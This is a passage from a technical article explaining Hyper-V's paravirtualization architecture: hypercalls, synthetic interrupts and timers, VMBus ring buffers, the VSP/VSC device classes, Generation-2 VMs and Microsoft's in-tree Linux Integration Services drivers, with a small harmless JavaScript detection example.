&lt;p&gt;Detection is the cheap part. The Linux kernel&apos;s Hyper-V overview document [@kernel-hyperv-overview] describes four cooperating mechanisms, layered atop one another: implicit traps that the hypervisor handles transparently, &lt;strong&gt;explicit hypercalls&lt;/strong&gt; the guest issues on purpose, &lt;strong&gt;synthetic registers&lt;/strong&gt; exposed as model-specific registers (MSRs) in the architectural CPU register file, and &lt;strong&gt;VMBus&lt;/strong&gt; for high-bandwidth device traffic. Each layer builds on the one below it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The contract between Hyper-V and its guests is &lt;em&gt;published&lt;/em&gt;. Microsoft maintains the &lt;strong&gt;Top-Level Functional Specification&lt;/strong&gt; as a public document under the Open Specification Promise. That single decision is why Linux ships an in-tree Hyper-V driver stack and why VMBus is not a black box.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The hypercall page&lt;/h3&gt;
&lt;p&gt;The first thing an enlightened guest does is set up a hypercall page. The TLFS Hypercall Interface page [@ms-tlfs-hypercall] describes the dance: the guest writes its identity into &lt;code&gt;HV_X64_MSR_GUEST_OS_ID&lt;/code&gt; (MSR &lt;code&gt;0x40000000&lt;/code&gt;), then writes a guest-physical address and an &lt;code&gt;enable&lt;/code&gt; bit into &lt;code&gt;HV_X64_MSR_HYPERCALL&lt;/code&gt; (MSR &lt;code&gt;0x40000001&lt;/code&gt;). The hypervisor responds by populating that page with the right opcode for the current CPU: &lt;code&gt;vmcall&lt;/code&gt; on Intel, &lt;code&gt;vmmcall&lt;/code&gt; on AMD. From that moment on, &quot;make a hypercall&quot; is a normal &lt;code&gt;call&lt;/code&gt; into a known address rather than an opcode the kernel must hand-assemble per CPU vendor.This trick neatly externalises the vendor-specific calling convention. Microsoft can later swap to a new opcode (say, on ARM64, where the equivalent is an &lt;code&gt;HVC&lt;/code&gt; instruction) without any guest code change. The guest just learns the new page contents.&lt;/p&gt;
&lt;p&gt;The same TLFS page documents two hypercall classes: &lt;strong&gt;simple&lt;/strong&gt; hypercalls (one operation, returns or faults) and &lt;strong&gt;rep&lt;/strong&gt; (repeated) hypercalls that take a counter and a start index, so a long-running operation can yield mid-flight without losing work. Three calling conventions exist: a memory-based one for large parameter blocks, a register-only fast variant for the very common case of one or two inputs, and an XMM-register variant that lets a guest pass up to 112 bytes of input through SSE registers.&lt;/p&gt;
&lt;p&gt;That XMM variant is unusual enough to flag. Most kernel ABIs do not touch SSE in privileged code because saving and restoring the full SSE state is expensive. Hyper-V&apos;s hypercall ABI uses XMM precisely because the round-trip cost of a hypercall is dominated by the &lt;code&gt;VMEXIT&lt;/code&gt; itself, so squeezing a few more bytes into registers is cheaper than spilling them to memory and reading them back.&lt;/p&gt;
&lt;h3&gt;Synthetic interrupts and synthetic timers&lt;/h3&gt;
&lt;p&gt;A guest&apos;s virtual processor has its own emulated local APIC by default, but an enlightened guest can also use a &lt;strong&gt;Synthetic Interrupt Controller (SynIC)&lt;/strong&gt;, defined in the TLFS. Each virtual processor gets 16 SINT slots, a per-CPU shared message page, and a per-CPU shared event page. SINTs are how VMBus signals events to the guest without going through the legacy LAPIC fast path.&lt;/p&gt;

One of 16 logical interrupt sources per virtual processor that the Hyper-V Synthetic Interrupt Controller can signal. SINTs are reachable through MSRs (`HV_X64_MSR_SINT0` through `HV_X64_MSR_SINT15`) and back the doorbell mechanism for VMBus channels and for synthetic timers. They are paravirtual: they would not exist on a bare-metal CPU.
&lt;p&gt;The clock side is even more interesting. The Linux kernel Hyper-V clocks documentation [@kernel-clocks] describes a &lt;strong&gt;reference TSC page&lt;/strong&gt; that the hypervisor maintains in shared memory: it contains a scale factor and an offset such that&lt;/p&gt;
&lt;p&gt;$$
\text{guest_time} = (\text{TSC} \times \text{scale}) &amp;gt;&amp;gt; 64 + \text{offset}
$$&lt;/p&gt;
&lt;p&gt;ticks at a constant 10 MHz frequency regardless of the underlying TSC. The guest&apos;s &lt;code&gt;clock_gettime&lt;/code&gt; and &lt;code&gt;gettimeofday&lt;/code&gt; can read TSC, multiply, shift, add, and return, all in user space via vDSO, with no kernel transition and no hypercall.&lt;/p&gt;

A web server that calls `clock_gettime` once per request, on a million-requests-per-second box, is a ridiculous workload that real systems run constantly. Without enlightenments, every call would be a `rdmsr` on a virtualised TSC or a trap into the hypervisor. With the reference TSC page, the same call is four arithmetic ops and a memory load. The kernel doc explains that this scale and offset survive live migration: &quot;in the case of a live migration to a host with a different TSC frequency, Hyper-V adjusts the scale and offset values in the shared page so that the 10 MHz frequency is maintained&quot; (Linux kernel: Hyper-V clocks [@kernel-clocks]).
&lt;p&gt;Synthetic timers complete the picture. Each virtual CPU has four synthetic timers programmable via MSRs; they fire SINTs into the SynIC. The guest does not need to touch an emulated PIT or HPET. Combined, SynIC + synthetic timers + the reference TSC page mean that an enlightened guest can do most of its time-keeping and inter-partition signalling without ever touching the legacy interrupt/timer chip surface.&lt;/p&gt;
&lt;h3&gt;The TLFS as a contract&lt;/h3&gt;
&lt;p&gt;All of this is published. The Top-Level Functional Specification [@ms-tlfs] is the document a guest author reads to know which MSRs to write, which &lt;code&gt;cpuid&lt;/code&gt; leaves to query, which hypercalls exist, and which features the hypervisor signals via feature flags. Microsoft maintains it under the Open Specification Promise. That promise is a deliberate contractual choice. Without it, Linux could not ship &lt;code&gt;drivers/hv/&lt;/code&gt; in-tree and Microsoft could not credibly claim that Linux is a first-class Hyper-V guest. The TLFS is the artefact that makes the rest of the architecture cooperative rather than reverse-engineered.&lt;/p&gt;
&lt;p&gt;The next layer up uses these primitives to build something more ambitious: a general-purpose inter-partition transport.&lt;/p&gt;
&lt;h2&gt;3. VMBus: the inter-partition transport&lt;/h2&gt;
&lt;p&gt;If enlightenments are the alphabet, VMBus is the language that synthetic devices speak. The Linux kernel VMBus document [@kernel-vmbus] puts the definition tersely: &quot;VMBus is a software construct provided by Hyper-V to guest VMs. It consists of a control path and common facilities used by synthetic devices that Hyper-V presents to guest VMs. The common facilities include software channels for communicating between the device driver in the guest VM and the synthetic device implementation that is part of Hyper-V, and signaling primitives to allow Hyper-V and the guest to interrupt each other.&quot;&lt;/p&gt;
&lt;p&gt;There is a lot in that paragraph. Let me unpack it, because this is the architectural core.&lt;/p&gt;

A software-only inter-partition communication bus provided by Hyper-V. It has a control path (channel offer, open, close, rescind), and per-device data channels built on shared memory ring buffers. VMBus is not a real bus in any hardware sense; nothing on the PCIe topology is named VMBus. It is a contract between guest drivers and the hypervisor.
&lt;h3&gt;Channels and the offer protocol&lt;/h3&gt;
&lt;p&gt;Every synthetic device a guest sees corresponds to a &lt;strong&gt;VMBus channel&lt;/strong&gt;. The root partition advertises (&lt;code&gt;OfferChannel&lt;/code&gt;) the list of devices a guest is permitted to use. The guest&apos;s VMBus driver iterates the offers, matches each to a class GUID (synthetic SCSI is one GUID, synthetic NIC is another, the input-style &lt;code&gt;vmbusrhid&lt;/code&gt; device is a third), and binds an in-kernel device driver to each one. The reverse operation, &lt;code&gt;RescindChannel&lt;/code&gt;, lets the host revoke a device cleanly, which is what happens during live migration when an SR-IOV virtual function gets pulled out from under a running VM.&lt;/p&gt;

sequenceDiagram
    participant Root as Root partition (VSP)
    participant HV as Hyper-V hypervisor
    participant Guest as Guest VM (VSC)
    Root-&amp;gt;&amp;gt;HV: OfferChannel(class_guid, instance_guid)
    HV-&amp;gt;&amp;gt;Guest: ChannelOffer message via SynIC
    Guest-&amp;gt;&amp;gt;HV: OpenChannel(ringbuf_gpa, signal_event)
    HV-&amp;gt;&amp;gt;Root: Channel opened
    loop steady-state I/O
        Guest-&amp;gt;&amp;gt;Root: write descriptor + payload to ring, signal SINT
        Root-&amp;gt;&amp;gt;Guest: write response to ring, signal SINT
    end
    Root-&amp;gt;&amp;gt;HV: RescindChannel(instance_guid)
    HV-&amp;gt;&amp;gt;Guest: ChannelRescind via SynIC
    Guest-&amp;gt;&amp;gt;Root: CloseChannel
&lt;h3&gt;Two ring buffers, one channel&lt;/h3&gt;
&lt;p&gt;Each open channel is two unidirectional ring buffers in shared memory: one for guest-to-host messages, one for host-to-guest. Each ring has a 4 KiB header page that holds the read index, the write index, and control flags, plus a power-of-two payload region. The guest tells the hypervisor which guest-physical pages back the ring through an object called a &lt;strong&gt;GPA Descriptor List&lt;/strong&gt; (GPADL), built up via the &lt;code&gt;vmbus_establish_gpadl&lt;/code&gt; API.&lt;/p&gt;
&lt;p&gt;The kernel doc reveals a small but durable engineering detail. It maps the ring buffer twice in the guest&apos;s kernel virtual address space: header page first, ring contents next, and then &lt;em&gt;the ring contents again&lt;/em&gt;, contiguously. Why? Because that lets a copy loop walk past the end of the ring without writing wrap-around code; the next byte after the ring&apos;s last byte is the ring&apos;s first byte, by virtual-memory arrangement. It is the same trick used inside the Linux page cache for &lt;code&gt;fbdev&lt;/code&gt; and inside DPDK&apos;s mempool. It costs a little address space; it saves a branch on every payload byte.The Linux kernel doc is explicit that this double-mapping convenience exists in the guest only. If you are writing a userspace tool that ingests a captured VMBus ring (for forensics or debugging) you must implement wrap-around manually. This is exactly the kind of detail that source code documentation captures and prose articles forget.&lt;/p&gt;
&lt;p&gt;The total amount of GPADL-shared memory a single guest can hold is capped per Windows version. The kernel doc records the numbers: roughly &lt;strong&gt;1280 MiB on Windows Server 2019 and later&lt;/strong&gt;, roughly &lt;strong&gt;384 MiB on earlier hosts&lt;/strong&gt; (Linux kernel: VMBus [@kernel-vmbus]). For a guest with 30+ channels (multiple netvsc subchannels, multiple storvsc subchannels, vPCI, KVP, time sync, VSS, balloon, framebuffer), that ceiling is real but not yet limiting at typical ring sizes of 1 to 16 MiB per direction.&lt;/p&gt;
&lt;h3&gt;The doorbell&lt;/h3&gt;
&lt;p&gt;Shared memory alone is not enough. The guest can write into the ring all it wants; the host will not look until it is told to. Conversely, the host can write into the ring; the guest will not check until something signals it. That signal is the doorbell, and it is implemented via the &lt;strong&gt;Synthetic Interrupt Controller&lt;/strong&gt; SINTs introduced in the previous section.&lt;/p&gt;
&lt;p&gt;When the guest enqueues a request and the host&apos;s read pointer is already chasing it (i.e., the host is still processing the last batch), the guest can suppress the doorbell entirely. Only the &lt;em&gt;first&lt;/em&gt; request after the host has caught up triggers a hypercall. This is &lt;strong&gt;interrupt coalescing in software&lt;/strong&gt;, and it is the single most important performance lever on a software data plane: the round-trip cost of a &lt;code&gt;VMEXIT&lt;/code&gt; is amortised across many packets.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This same shape, shared memory rings plus an event-channel doorbell, was the central insight of Xen&apos;s split-driver paravirtualization model in 2003 [@xen-pv-wiki]). Hyper-V&apos;s contribution was not the shape; it was packaging the shape so unmodified Windows guests could use it via in-box drivers, and publishing the protocol so unmodified Linux could too.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;VSPs and VSCs&lt;/h3&gt;
&lt;p&gt;The two endpoints of a channel have specific names. The &lt;strong&gt;Virtualization Service Provider (VSP)&lt;/strong&gt; is the kernel module in the root partition that owns the device backend. The &lt;strong&gt;Virtualization Service Client (VSC)&lt;/strong&gt; is the guest-side driver that talks to the VSP through the channel. Microsoft&apos;s own architecture page is precise: &quot;the Hyper-V-specific I/O architecture consists of virtualization service providers (VSPs) in the root partition and virtualization service clients (VSCs) in the child partition. Each service is exposed as a device over VM Bus, which acts as an I/O bus and enables high-performance communication between VMs that use mechanisms such as shared memory&quot; (Microsoft Learn: Hyper-V architecture [@ms-hyperv-architecture-perf]).&lt;/p&gt;

**VSP** (Virtualization Service Provider): a kernel module in the root partition that exposes a synthetic device backend to guests over a VMBus channel. Examples: `vmswitch.sys` (synthetic NIC), `storvsp.sys` (synthetic SCSI), the `vmbusrhid` server (synthetic input). **VSC** (Virtualization Service Client): the matching driver in the guest that consumes the channel and presents an OS-native device interface (a NIC, a SCSI controller, a keyboard) to the rest of the kernel.
&lt;p&gt;The split is symmetric in transport (both sides use the same ring) but asymmetric in trust. The VSP runs in the &lt;em&gt;most&lt;/em&gt; privileged context on the box, the root partition&apos;s kernel. The VSC runs in a normal guest kernel. Every byte that flows from guest to host crosses a trust boundary and gets parsed by code with full system privilege. The next two sections will return to this fact at length, because it is where the security story lives.&lt;/p&gt;
&lt;h3&gt;Why this works for closed-source guests&lt;/h3&gt;
&lt;p&gt;The Xen project tried something similar in 2003 with &lt;code&gt;netfront&lt;/code&gt;/&lt;code&gt;blkfront&lt;/code&gt; rings and event channels, but Xen PV required a paravirtualised guest kernel: the guest had to know it was running on Xen at compile time. Closed-source guests like Windows could not be modified, so Xen&apos;s wiki [@xen-pv-wiki]) eventually documents PV-on-HVM as a workaround.&lt;/p&gt;
&lt;p&gt;Hyper-V finessed this with hardware virtualization. The guest kernel runs unmodified inside VT-x or AMD-V; CPU-level privilege separation handles the privileged instructions. The only thing the guest needs to do to opt into VMBus is &lt;em&gt;load a driver&lt;/em&gt;. Every supported Windows version since Windows 7 / Server 2008 R2 ships those drivers in-box. Linux ships them in-tree from kernel 2.6.32 onward. There is no separate &quot;install paravirt drivers&quot; step, which is why Hyper-V &quot;just works&quot; for almost any guest you point at it.&lt;/p&gt;
&lt;p&gt;The transport is settled. What rides on it is a catalogue.&lt;/p&gt;
&lt;h2&gt;4. Synthetic device classes: storage, network, input, video, vPCI&lt;/h2&gt;
&lt;p&gt;A modern Hyper-V guest, on first boot, sees a small zoo of devices that have nothing to do with PC hardware. There is no IDE controller, no PS/2 keyboard, no Cirrus VGA. There is a synthetic SCSI controller, a synthetic NIC, a synthetic keyboard and mouse, a synthetic framebuffer, and (often) a synthetic PCI passthrough channel. Each is a VSP/VSC pair on top of VMBus.&lt;/p&gt;
&lt;p&gt;The Linux kernel VMBus document [@kernel-vmbus] enumerates the catalogue: synthetic SCSI controller (&lt;code&gt;storvsc&lt;/code&gt;), synthetic NIC (&lt;code&gt;netvsc&lt;/code&gt;), synthetic framebuffer (&lt;code&gt;synthvid&lt;/code&gt;), synthetic keyboard, synthetic mouse, PCI passthrough, plus the non-device services: heartbeat, time sync, shutdown, memory balloon, KVP exchange, and online backup (VSS).&lt;/p&gt;

flowchart LR
    subgraph Guest
        nv[&quot;netvsc (NIC)&quot;]
        st[&quot;storvsc (SCSI)&quot;]
        sv[&quot;synthvid (framebuffer)&quot;]
        kb[&quot;hyperv-keyboard&quot;]
        ms[&quot;hyperv-mouse&quot;]
        pc[&quot;pci-hyperv (vPCI)&quot;]
        kvp[&quot;hv_kvp (KVP)&quot;]
        ts[&quot;hv_utils (timesync, shutdown, heartbeat)&quot;]
    end
    subgraph Root
        vsw[&quot;vmswitch.sys&quot;]
        sto[&quot;storvsp.sys&quot;]
        sfb[&quot;synthvid VSP&quot;]
        rhid[&quot;vmbusrhid VSP&quot;]
        vpci[&quot;vPCI VSP&quot;]
        kvpd[&quot;KVP daemon&quot;]
        tsd[&quot;IS daemons&quot;]
    end
    nv -- &quot;VMBus channel&quot; --- vsw
    st -- &quot;VMBus channel(s)&quot; --- sto
    sv -- &quot;VMBus channel&quot; --- sfb
    kb -- &quot;VMBus channel&quot; --- rhid
    ms -- &quot;VMBus channel&quot; --- rhid
    pc -- &quot;VMBus channel&quot; --- vpci
    kvp -- &quot;VMBus channel&quot; --- kvpd
    ts -- &quot;VMBus channel&quot; --- tsd
&lt;h3&gt;Synthetic SCSI: storvsc&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;storvsc&lt;/code&gt; VSC presents itself to the guest as a SCSI host bus adapter. Disks attached to the VM appear as SCSI LUNs hanging off that HBA. The wire protocol uses ring buffers carrying SRB (SCSI Request Block) style commands. To scale, storvsc can open multiple &lt;strong&gt;sub-channels&lt;/strong&gt;, one per host CPU, so that I/O completion interrupts and request submission spread across cores rather than serialising on a single VMBus channel.&lt;/p&gt;
&lt;p&gt;This is also why Hyper-V&apos;s &quot;Generation 2&quot; VMs work. A Generation 2 VM [@ms-gen1-gen2-vms], introduced in Windows Server 2012 R2 in 2013, has no IDE controller in the boot path at all. UEFI loads the OS loader from a synthetic SCSI device, the OS loader hands off to the kernel, and the kernel binds storvsc to the same device. The legacy IDE emulator simply never runs. That removes a lot of attack surface and lets boot volumes grow up to 64 TB on VHDX.&lt;/p&gt;
&lt;h3&gt;Synthetic NIC: netvsc&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;netvsc&lt;/code&gt; is the synthetic NIC. The wire protocol historically wrapped Microsoft&apos;s NDIS-style RNDIS frames around payloads sent through the channel ring, which is why some Linux discussions mention &quot;RNDIS frames over VMBus.&quot; The Linux driver lives in &lt;code&gt;drivers/net/hyperv/&lt;/code&gt; and the kernel netvsc documentation [@kernel-netvsc] describes how it can spread receive-side traffic across multiple VMBus subchannels via Receive Side Scaling.&lt;/p&gt;
&lt;p&gt;netvsc is also the one device class where Hyper-V composes with hardware passthrough. Section 8 will take this apart in detail; for now, note that the same &lt;code&gt;netvsc&lt;/code&gt; VSC can run alongside an SR-IOV virtual function in the guest, with &lt;code&gt;netvsc&lt;/code&gt; acting as the slow-path failover and the VF carrying the steady-state traffic.&lt;/p&gt;
&lt;h3&gt;Synthetic input: vmbusrhid&lt;/h3&gt;
&lt;p&gt;The synthetic keyboard, the synthetic mouse, and a few related input streams ride on a server in the root partition called &lt;code&gt;vmbusrhid&lt;/code&gt; (the name is shorthand for &quot;VMBus relay HID&quot;). It is a small surface in bytes, but architecturally it has the same shape as netvsc: guest-controllable messages parsed in kernel mode in the root partition. Anyone evaluating the trust boundary should treat it the same way as netvsc, even though the data rate is six orders of magnitude lower.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A path that carries 100 keystrokes per second is, on the wire, almost free. As an attack surface, it is identical to a path that carries a million packets per second: both are guest-controlled bytes parsed by privileged code. Section 7 walks through why the security community treats &lt;code&gt;vmbusrhid&lt;/code&gt; the way it treats &lt;code&gt;vmswitch.sys&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Synthetic video: synthvid&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;synthvid&lt;/code&gt; is a synthetic framebuffer. It is what lets you connect to a Hyper-V VM through the Virtual Machine Connection client without dragging in an emulated VGA. It is intentionally simple: there is no 3D acceleration in the synthetic path. Workloads that need GPU acceleration use a different mechanism, vPCI / DDA, to assign a real GPU to the VM.&lt;/p&gt;
&lt;h3&gt;vPCI: synthetic PCI passthrough&lt;/h3&gt;
&lt;p&gt;The most subtle device class is &lt;code&gt;pci-hyperv&lt;/code&gt;, which exposes a virtual PCIe topology to the guest. The Linux kernel vPCI document [@kernel-vpci] describes the trick: a passthrough device is offered to the guest &lt;em&gt;initially&lt;/em&gt; over VMBus (the channel carries the device&apos;s PCI configuration space and BARs), and once the guest&apos;s vPCI driver has constructed a real PCI device object for it, the device dual-identifies as a normal PCIe device. The vendor driver can then load against it.&lt;/p&gt;
&lt;p&gt;This is the mechanism behind both Hyper-V&apos;s Discrete Device Assignment (DDA) [@ms-dda] and Azure&apos;s Accelerated Networking, which we will return to in Section 8. The DDA planning document is explicit that Microsoft formally supports DDA for &lt;strong&gt;GPUs and NVMe storage&lt;/strong&gt; as device classes; other PCIe devices are &quot;likely to work&quot; but require vendor support.&lt;/p&gt;
&lt;h3&gt;Generation-1 vs Generation-2: a quick decoder&lt;/h3&gt;
&lt;p&gt;Putting the device classes side by side clarifies why the move from Generation-1 to Generation-2 VMs simplified so much:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;Generation-1 VM (legacy)&lt;/th&gt;
&lt;th&gt;Generation-2 VM (since 2013)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Firmware&lt;/td&gt;
&lt;td&gt;BIOS&lt;/td&gt;
&lt;td&gt;UEFI with Secure Boot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boot disk&lt;/td&gt;
&lt;td&gt;Emulated IDE&lt;/td&gt;
&lt;td&gt;Synthetic SCSI (&lt;code&gt;storvsc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network on boot&lt;/td&gt;
&lt;td&gt;Emulated DEC 21140 fallback&lt;/td&gt;
&lt;td&gt;Synthetic NIC (&lt;code&gt;netvsc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input&lt;/td&gt;
&lt;td&gt;Emulated PS/2 + &lt;code&gt;vmbusrhid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vmbusrhid&lt;/code&gt; only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Display&lt;/td&gt;
&lt;td&gt;Emulated VGA + &lt;code&gt;synthvid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;synthvid&lt;/code&gt; only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max boot VHDX&lt;/td&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;64 TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Source&lt;/td&gt;
&lt;td&gt;Microsoft Learn: Gen 1 vs Gen 2 [@ms-gen1-gen2-vms]&lt;/td&gt;
&lt;td&gt;Same&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Generation-2 is what the Hyper-V architecture wanted to be from the beginning: an all-synthetic stack with no fallback to imaginary 1990s chipsets. The two-generation existence was not a design preference; it was the cost of supporting older operating systems whose boot loaders only knew about BIOS and IDE. Today, every modern Windows and modern Linux supports Generation-2; Generation-1 remains for legacy guests.&lt;/p&gt;
&lt;h3&gt;Counting boundary crossings&lt;/h3&gt;
&lt;p&gt;The shape of the hot path is now visible. To send one network packet from a guest:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The guest writes one descriptor and one payload copy into the netvsc TX ring (one memory copy).&lt;/li&gt;
&lt;li&gt;The guest possibly fires a doorbell (one hypercall, often suppressed if the host has not caught up).&lt;/li&gt;
&lt;li&gt;The host&apos;s &lt;code&gt;vmswitch.sys&lt;/code&gt; reaps the descriptor, parses it, and forwards it through the virtual switch to a real NIC.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A single packet&apos;s hot path is &lt;strong&gt;at most one hypercall and one memory copy in the guest&lt;/strong&gt;, plus host-side ring traversal. Section 8&apos;s comparison table will quantify how this stacks up against virtio and SR-IOV, but the scale is clear: paravirt I/O on Hyper-V is orders of magnitude cheaper per packet than full PC emulation, and the gap closes only when you go all the way to hardware passthrough.&lt;/p&gt;
&lt;p&gt;The catalogue is set. Now, who actually wrote the Linux side of all this?&lt;/p&gt;
&lt;h2&gt;5. Linux Integration Services: Microsoft writes Linux drivers&lt;/h2&gt;
&lt;p&gt;In December 2009, Microsoft did something quietly historic. Linux kernel 2.6.32 merged a set of drivers under &lt;code&gt;drivers/staging/hv/&lt;/code&gt;, contributed by Microsoft itself, that taught the Linux kernel to be an enlightened Hyper-V guest. The kernel.org Hyper-V index page [@kernel-hyperv-index] is the maintained landing page for that work. Over the next several releases the drivers moved out of &lt;code&gt;staging/&lt;/code&gt;, settled at &lt;code&gt;drivers/hv/&lt;/code&gt;, &lt;code&gt;drivers/net/hyperv/&lt;/code&gt;, &lt;code&gt;drivers/scsi/storvsc_drv.c&lt;/code&gt;, and &lt;code&gt;drivers/pci/controller/pci-hyperv.c&lt;/code&gt;, and became the default in every mainstream distribution.&lt;/p&gt;
&lt;p&gt;That set of drivers is collectively called &lt;strong&gt;Linux Integration Services (LIS)&lt;/strong&gt;.&lt;/p&gt;

The set of in-kernel Hyper-V guest drivers that Microsoft contributes to upstream Linux. Includes `hv_vmbus` (the VMBus core), `hv_netvsc` (synthetic NIC), `hv_storvsc` (synthetic SCSI), `hv_utils` (KVP, time sync, shutdown, heartbeat, VSS), `pci-hyperv` (vPCI), and `hv_balloon` (memory ballooning). The same code that Microsoft maintains in the Linux tree powers Linux guests on Hyper-V on Windows Server, on Azure, and on developer Hyper-V on Windows 11.
&lt;p&gt;The reason this matters is bigger than convenience. In 2009, Linux had a long, painful history with Hyper-V&apos;s competitors. VMware shipped &lt;code&gt;open-vm-tools&lt;/code&gt; but the deepest paravirt drivers (VMXNET3, PVSCSI) lived in vendor packages. Xen&apos;s PV drivers existed in-tree but their evolution depended on Citrix and the Xen project. By contributing the full driver stack upstream and committing to keep it there, Microsoft chose a different route: they put the &lt;em&gt;spec&lt;/em&gt; (the TLFS) and the &lt;em&gt;implementation&lt;/em&gt; (LIS) in the open at the same time.&lt;/p&gt;

Microsoft did not just publish a hypervisor specification and hope Linux would adopt it. They wrote the Linux drivers themselves and upstreamed them, and then they kept doing it for fifteen years.
&lt;p&gt;You can see the maintenance pattern in any current kernel. The &lt;code&gt;drivers/hv/&lt;/code&gt; directory has continuous commit activity from Microsoft engineers. Kernel-doc files like the VMBus [@kernel-vmbus], clocks [@kernel-clocks], vPCI [@kernel-vpci], overview [@kernel-hyperv-overview], and CoCo VM [@kernel-coco] pages are written by the same engineers who write the drivers. Several of those documents are the most lucid descriptions of the architecture that exist anywhere in public.One unexpected consequence: the Linux kernel docs are often easier to read for the architecture than Microsoft&apos;s own customer-facing docs. The customer docs answer &quot;how do I configure this?&quot;; the kernel docs answer &quot;what is actually happening?&quot; When researching this article, I found that the cleanest single description of VMBus channel lifecycle is the Linux kernel doc, not the TLFS.&lt;/p&gt;
&lt;h3&gt;What &quot;in-box&quot; really means&lt;/h3&gt;
&lt;p&gt;Both major guests now ship VMBus support without any post-install step:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On Windows, the VMBus client stack is built into every supported Windows version since Windows 7 / Windows Server 2008 R2. The legacy Integration Services package, which once shipped as an ISO you mounted into the VM, is no longer needed on supported Windows.&lt;/li&gt;
&lt;li&gt;On Linux, the drivers are in-tree from kernel 2.6.32 (December 2009) onward and ship in every mainstream distro.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The kernel.org Hyper-V overview document [@kernel-hyperv-overview] explicitly warns against installing legacy LIS packages on top of a kernel that already has the in-tree drivers: it can break MSI-X handling and PCI passthrough. This is the kind of operational footgun that survives precisely because the in-box answer is correct and the LIS package is a holdover from earlier kernels.&lt;/p&gt;
&lt;h3&gt;A practical smoke test&lt;/h3&gt;
&lt;p&gt;You can confirm a Linux guest is using its enlightenments without any vendor tooling. The kernel exposes &lt;code&gt;cpuid&lt;/code&gt; leaves and Hyper-V detection through &lt;code&gt;dmesg&lt;/code&gt; and through &lt;code&gt;/sys&lt;/code&gt;. A small script makes it concrete:&lt;/p&gt;
&lt;p&gt;{&lt;code&gt; // This logic mirrors what \&lt;/code&gt;dmesg | grep -i hyperv` and a peek into
// /sys/devices/virtual/misc/vmbus would tell you on a real Linux Hyper-V guest.&lt;/p&gt;
&lt;p&gt;const guestObservations = {
  cpuidSig: &apos;0x40000000&apos;,         // Microsoft&apos;s vendor signature for Hyper-V
  guestOsIdMsr: 0x40000000,       // HV_X64_MSR_GUEST_OS_ID, written by the guest
  hypercallMsr: 0x40000001,       // HV_X64_MSR_HYPERCALL, returns the hypercall page
  vmbusModuleLoaded: true,
  netvscDevice: &apos;/sys/class/net/eth0/device/driver&apos;,
  netvscDriverName: &apos;hv_netvsc&apos;,
  storvscModuleLoaded: true,
};&lt;/p&gt;
&lt;p&gt;function isEnlightenedHyperVGuest(o) {
  if (o.cpuidSig !== &apos;0x40000000&apos;) return false;
  if (!o.vmbusModuleLoaded) return false;
  if (o.netvscDriverName !== &apos;hv_netvsc&apos;) return false;
  return true;
}&lt;/p&gt;
&lt;p&gt;console.log(
  isEnlightenedHyperVGuest(guestObservations)
    ? &apos;Yes: Hyper-V enlightened, using netvsc + storvsc&apos;
    : &apos;No: running on emulated PC hardware or non-Hyper-V hypervisor&apos;
);
`}&lt;/p&gt;
&lt;p&gt;The point is not the script itself (anyone can write a few lines of &lt;code&gt;awk&lt;/code&gt; against &lt;code&gt;dmesg&lt;/code&gt;); it is that the verification surface is &lt;em&gt;public&lt;/em&gt;. The CPU vendor signature, the MSRs, the kernel module names, the &lt;code&gt;/sys&lt;/code&gt; paths are all documented. There is nothing to reverse-engineer.&lt;/p&gt;
&lt;h3&gt;Why this earned trust&lt;/h3&gt;
&lt;p&gt;Two pieces of practical evidence persuaded the Linux community that LIS was not a strategic trap:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The drivers stayed upstream.&lt;/strong&gt; From 2009 to the present, Microsoft has maintained the &lt;code&gt;drivers/hv/&lt;/code&gt; tree, responded to maintainer feedback, and shipped patches through the normal kernel process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The TLFS stayed accurate.&lt;/strong&gt; Successive Hyper-V releases either matched what the TLFS said or updated the TLFS. There was no second, secret protocol.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The combination put Microsoft in the unusual position of being the most open hypervisor vendor for Linux guest support. (VirtIO on KVM has a richer cross-vendor story; that comparison is Section 8.) This open posture is also what set up the 2024 OpenVMM open-sourcing as a credible move rather than a stunt.&lt;/p&gt;
&lt;p&gt;But before we get to OpenVMM, we need to look at a different way Hyper-V matters: not just as a substrate for VMs, but as a substrate for in-VM security boundaries inside Windows itself.&lt;/p&gt;
&lt;h2&gt;6. VBS and HVCI: Hyper-V as the trust anchor inside Windows&lt;/h2&gt;
